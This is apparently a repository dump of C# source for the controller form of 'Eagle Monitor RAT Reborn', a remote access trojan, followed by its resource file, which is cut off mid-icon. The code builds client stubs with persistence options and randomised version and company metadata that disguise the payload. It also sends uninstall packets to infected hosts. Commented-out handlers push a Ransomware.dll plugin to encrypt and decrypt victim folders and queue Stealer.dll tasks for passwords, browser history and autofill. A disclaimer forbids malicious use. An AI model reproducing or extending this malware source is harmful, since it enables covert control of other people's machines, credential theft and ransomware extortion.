ClientHandler.StartSendData(ClientHandler.ClientHandlersList[IP], uninstallPacket);\n            }\n        }\n\n        private void autoSaveRecoveryGuna2CheckBox_CheckedChanged(object sender, EventArgs e)\n        {\n            if (autoSaveRecoveryGuna2CheckBox.Checked)\n                Program.settings.autoSaveRecovery = true;\n            else\n                Program.settings.autoSaveRecovery = false;\n        }\n\n        private void notificationSoundGuna2CheckBox_CheckedChanged(object sender, EventArgs e)\n        {\n            if (notificationSoundGuna2CheckBox.Checked)\n                Program.settings.notificationSound = true;\n            else\n                Program.settings.notificationSound = false;\n        }\n\n        #region \"Builder\"\n        private void persistenceGuna2CheckBox_CheckedChanged(object sender, EventArgs e)\n        {\n            if (persistenceGuna2CheckBox.Checked)\n            {\n                pathPersistenceGuna2ComboBox.Enabled = true;\n                persistenceMethodGuna2ComboBox.Enabled = true;\n            }\n            else\n            {\n                pathPersistenceGuna2ComboBox.Enabled = false;\n                persistenceMethodGuna2ComboBox.Enabled = false;\n            }\n        }\n        internal string iconPath { get; set; }\n\n\n        private void removeHostStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach(DataGridViewRow host in Program.mainForm.hostsDataGridView.SelectedRows)\n                Program.mainForm.hostsDataGridView.Rows.Remove(host);\n        }\n\n        private void buildGuna2Button_Click(object sender, EventArgs e)\n        {\n\n            //Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));//C:\\Users\\Arsium\\AppData\\Roaming\n            //Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));//C:\\Users\\Arsium\\AppData\\Local\n            //Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.Startup));//C:\\Users\\Arsium\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\n            //Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile));//user of current user\n            if (tosLicenseGuna2CheckBox.Checked)\n            {\n                /*string stubPath = Misc.Utils.StubPath;\n\n                if (vbStubGuna2CheckBox.Checked)\n                    stubPath += \"VB\";*/\n\n                Builder.StubBuilder.BuildClient();   \n            }\n            else\n            {\n                MessageBox.Show(\"You forgot to agree with TOS and license !\");\n            }\n        }\n\n        private void iconGuna2Button_Click(object sender, EventArgs e)\n        {\n            using (OpenFileDialog dlg = new OpenFileDialog())\n            {\n                dlg.Title = \"Choose Icon\";\n                dlg.Filter = \"Icons *.ico|*.ico\";\n                dlg.Multiselect = false;\n\n                if (dlg.ShowDialog() == DialogResult.OK)\n                {\n                    iconPath = dlg.FileName;\n                    pictureBox1.Image = Image.FromFile(iconPath);\n                }\n            }\n        }\n\n        private void randomizeGuna2Button_Click(object sender, EventArgs e)\n        {\n            fileVersionGuna2TextBox.Text = $\"{RandomString.RandomDigit()}.{RandomString.RandomDigit()}.{RandomString.RandomDigit()}.{RandomString.RandomDigit()}\";\n            productVersionGuna2TextBox.Text = $\"{RandomString.RandomDigit()}.{RandomString.RandomDigit()}.{RandomString.RandomDigit()}.{RandomString.RandomDigit()}\";\n            productGuna2TextBox.Text = RandomString.RandomStringFunction(new Random().Next(10, 20));\n            descriptionGuna2TextBox.Text = RandomString.RandomStringFunction(new Random().Next(10, 20));\n            companyGuna2TextBox.Text = RandomString.RandomStringFunction(new Random().Next(10, 20));\n            copyrightGuna2TextBox.Text = RandomString.RandomStringFunction(new Random().Next(10, 20));\n            trademarksGuna2TextBox.Text = RandomString.RandomStringFunction(new Random().Next(10, 20));\n            filenameGuna2TextBox.Text = RandomString.RandomStringFunction(new Random().Next(10, 20));\n        }\n\n\n        private void addHostGuna2Button_Click(object sender, EventArgs e)\n        {\n            int rowId = Program.mainForm.hostsDataGridView.Rows.Add();\n            DataGridViewRow row = Program.mainForm.hostsDataGridView.Rows[rowId];\n            row.Cells[\"Column22\"].Value = dnsGuna2TextBox.Text;\n            row.Cells[\"Column23\"].Value = portGuna2TextBox.Text;\n\n            dnsGuna2TextBox.Text = null;\n            portGuna2TextBox.Text = null;\n        }\n        #endregion\n\n        private void test123ToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            //Only there to test new features\n            /*foreach (DataGridViewRow row in clientDataGridView.SelectedRows)\n            {\n                string IP = row.Cells[2].Value.ToString();\n\n                RansomwareEncryptionPacket ransomwareEncryptionPacket = new RansomwareEncryptionPacket(ClientHandler.ClientHandlersList[IP].encryptionInformation.publicRSAServerKey, new List<string>() { \"C:\\\\Users\\\\arsium\\\\Desktop\\\\TestFodler\" }, false, false);\n                ransomwareEncryptionPacket.plugin = PacketLib.Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Ransomware.dll\"), 1);\n                ClientHandler.ClientHandlersList[IP].SendPacket(ransomwareEncryptionPacket);\n            }*/\n        }\n\n        private void test456ToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            //Only there to test new features\n            /*foreach (DataGridViewRow row in clientDataGridView.SelectedRows)\n            {\n                string IP = row.Cells[2].Value.ToString();\n\n                RansomwareDecryptionPacket ransomwareDecryptionPacket = new RansomwareDecryptionPacket(ClientHandler.ClientHandlersList[IP].encryptionInformation.privateRSAServerKey);\n                ransomwareDecryptionPacket.plugin = PacketLib.Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Ransomware.dll\"), 1);\n                ClientHandler.ClientHandlersList[IP].SendPacket(ransomwareDecryptionPacket);\n            }*/\n        }\n\n        private void addTaskGuna2Button_Click(object sender, EventArgs e)\n        {\n            /*switch (tasksGuna2ComboBox.SelectedIndex) \n            {\n                case 0:\n                    Program.settings.onConnectPackets.Add(new PasswordsPacket()\n                    {\n                        plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Stealer.dll\"), 1)\n                    });\n                    break;\n\n                case 1:\n                    Program.settings.onConnectPackets.Add(new HistoryPacket()\n                    {\n                        plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Stealer.dll\"), 1)\n                    });\n                    break;\n\n                case 2:\n                    Program.settings.onConnectPackets.Add(new AutofillPacket()\n                    {\n                        plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Stealer.dll\"), 1)\n                    });\n                    break;\n            }*/\n        }\n\n        private void aboutToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            new AboutForm().Show();\n        }\n\n        private void portRemoveStripMenuItem_Click(object sender, EventArgs e)\n        {\n            if (this.portListView.SelectedItems.Count > 0)\n                this.portListView.SelectedItems[0].Remove();\n        }\n\n        private void addToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            string p = Microsoft.VisualBasic.Interaction.InputBox(\"Port :\");\n            this.portListView.Items.Add(p);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <metadata name=\"Column1.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column2.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column3.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column4.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column5.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column6.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column7.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column8.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column9.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column10.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"mainContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>17, 17</value>\n  </metadata>\n  <metadata name=\"clientContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>214, 17</value>\n  </metadata>\n  <metadata name=\"Column22.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column23.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"hostContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>517, 17</value>\n  </metadata>\n  <metadata name=\"patchToolTip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>394, 17</value>\n  </metadata>\n  <data name=\"label16.Text\" xml:space=\"preserve\">\n    <value>1. You will not use Eagle Monitor RAT Reborn for malicious purposes.\n2. You will not use Eagle Monitor RAT Reborn for illegal access to any systems.\n3. You are responsible for your uses.\n4. Author declines all responsibility as results for damage and misuses. \n5. By using Eagle Monitor RAT Reborn, you automatically agree to AGPL License.</value>\n  </data>\n  <metadata name=\"Column11.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column12.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column13.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column17.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column14.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column15.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column16.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"portContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>714, 17</value>\n  </metadata>\n  <metadata name=\"Column20.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column21.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"patchToolTip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>394, 17</value>\n  </metadata>\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n    <value>\n        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\n        